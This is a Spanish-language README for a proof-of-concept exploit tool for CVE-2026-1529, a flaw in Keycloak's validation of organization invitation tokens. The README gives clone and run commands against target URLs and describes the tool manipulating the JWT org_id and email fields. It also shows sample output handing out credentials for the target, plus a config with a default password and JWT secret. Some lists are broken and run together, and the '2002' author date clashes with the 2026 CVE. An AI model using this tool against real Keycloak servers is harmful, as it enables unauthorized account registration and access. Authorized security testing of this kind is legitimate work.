
CVE-2026-1529 (PoC) es una vulnerabilidad crítica en Keycloak que permite el registro no autorizado de organizaciones mediante una validación incorrecta de los tokens de invitación. Esta herramienta de explotación demuestra la vulnerabilidad manipulando tokens JWT para registrar usuarios en organizaciones no autorizadas.
Keycloak: Registro no autorizado de organizaciones mediante una validación inadecuada del token de invitación
Esta herramienta es solo para fines educativos y de pruebas de seguridad. Úsala únicamente en sistemas donde tengas permiso explícito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal y poco ético. Los autores de esta herramienta no son responsables de ningún uso indebido o daño causado por este software.
Creado por: f3ds cr3w est, 2002
CVE-2026-1529 es una vulnerabilidad crítica en Keycloak que permite el registro no autorizado de organizaciones mediante una validación inadecuada del token de invitación. Esta herramienta de explotación demuestra la vulnerabilidad manipulando tokens JWT para registrar usuarios en organizaciones no autorizadas.
La vulnerabilidad existe en el proceso de validación de tokens JWT para las invitaciones a organizaciones. Los atacantes pueden manipular los campos org_id y email en el payload JWT, lo que les permite registrar usuarios en cualquier organización sin la autorización adecuada.
git clone https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation
cd CVE-2026-1529-POC
pip install -r requirements.txt
chmod +x keycloak-exploit.py
# Standard usage with target URL
python keycloak-exploit.py https://target-keycloak.com
# Show help
python keycloak-exploit.py -h
# Show version
python keycloak-exploit.py -v
# Use custom invitation token
python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 https://target-keycloak.com
# Use custom organization ID
python keycloak-exploit.py -o custom_org_id https://target-keycloak.com
# Use custom configuration file
python keycloak-exploit.py -c custom_config.json https://target-keycloak.com
# Enable debug logging
python keycloak-exploit.py -d https://target-keycloak.com
Cuando la explotación es exitosa, verás una salida como la siguiente:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✓ Target is vulnerable to CVE-2026-1529
🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target-keycloak.com/realms/master/account
📄 Report saved to: output/reports/exploit_report_20260210_134556.txt
🔐 Use the provided credentials to access the Keycloak instance!
⚠️ This demonstrates unauthorized access due to CVE-2026-1529
=============================================================
by f3ds cr3w est, 2002
=============================================================
Si la explotación falla, verás:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✗ Target is not vulnerable
❌ EXPLOIT FAILED!
Check logs for details: logs/exploit.log
CVE-2026-1529-POC/
├── keycloak-exploit.py # Main exploit script
├── requirements.txt # Python dependencies
├── README.md # This file
├── config/
│ └── default_config.json # Default configuration
├── utils/
│ ├── jwt_utils.py # JWT manipulation utilities
│ ├── http_utils.py # HTTP client utilities
│ └── crypto_utils.py # Cryptographic utilities
├── output/
│ ├── logs/ # Log files
│ └── reports/ # Exploit reports
La herramienta utiliza un archivo de configuración predeterminado (config/default_config.json) con los siguientes ajustes:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
Puedes crear un archivo de configuración personalizado y usarlo con la opción -c:
{
"exploit": {
"default_username": "custom_user",
"default_password": "CustomPassword123!",
"default_email": "[email protected]",
"timeout": 60,
"max_retries": 5
},
"jwt": {
"algorithm": "HS256",
"secret_key": "custom-secret-key",
"token_expiry": 7200
}
}
La herramienta explota la validación JWT inadecuada de la siguiente manera:
org_id para apuntar a una organización diferenteemail si es necesarioErrores de conexión
Errores de validación de token
org_id, email, invitation_type)Fallos de registro
Habilita el registro de depuración para una solución de problemas detallada:
python keycloak-exploit.py -d https://target-keycloak.com
logs/exploit.logoutput/reports/exploit_report_YYYYMMDD_HHMMSS.txtLa herramienta realiza las siguientes comprobaciones:
La explotación se considera exitosa si:
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad. Úsala bajo tu propio riesgo.
Creado por: f3ds cr3w est, 2002
Contacto: Para preguntas o comentarios, consulta el repositorio del proyecto.
Recuerda: Un gran poder conlleva una gran responsabilidad. Usa esta herramienta con sabiduría y ética.
por f3ds cr3w est, 2002
| Opción | Descripción | ¿Requerido? |
|---|
target | URL objetivo de Keycloak (IP o dominio) | Sí |
-t, --token | Token de invitación personalizado a usar | No |
-o, --org-id | ID de organización personalizado | No |
-c, --config | Ruta al archivo de configuración | No |
-d, --debug | Habilita el registro de depuración | No |
-v, --version | Muestra la información de versión | No |
-h, --help | Muestra el mensaje de ayuda | No |